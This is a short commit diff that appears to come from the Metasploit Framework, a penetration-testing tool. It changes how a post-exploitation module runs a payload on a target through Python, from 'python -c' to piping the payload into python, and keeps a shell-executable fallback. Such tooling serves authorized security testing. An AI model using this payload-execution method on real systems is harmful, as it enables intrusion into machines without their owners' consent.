python -c payload -> echo payload | python
parent
9a5d5eec2e
commit
9e0cb9797b
|
@ -174,7 +174,7 @@ class MetasploitModule < Msf::Post
|
|||
end
|
||||
when 'python'
|
||||
vprint_status("Transfer method: Python")
|
||||
cmd_exec("python -c \"#{payload_data}\"")
|
||||
cmd_exec("echo \"#{payload_data}\" | python")
|
||||
else
|
||||
vprint_status("Transfer method: Bourne shell [fallback]")
|
||||
exe = Msf::Util::EXE.to_executable(framework, larch, lplat, payload_data)
|
||||
|
|
Loading…
Reference in New Issue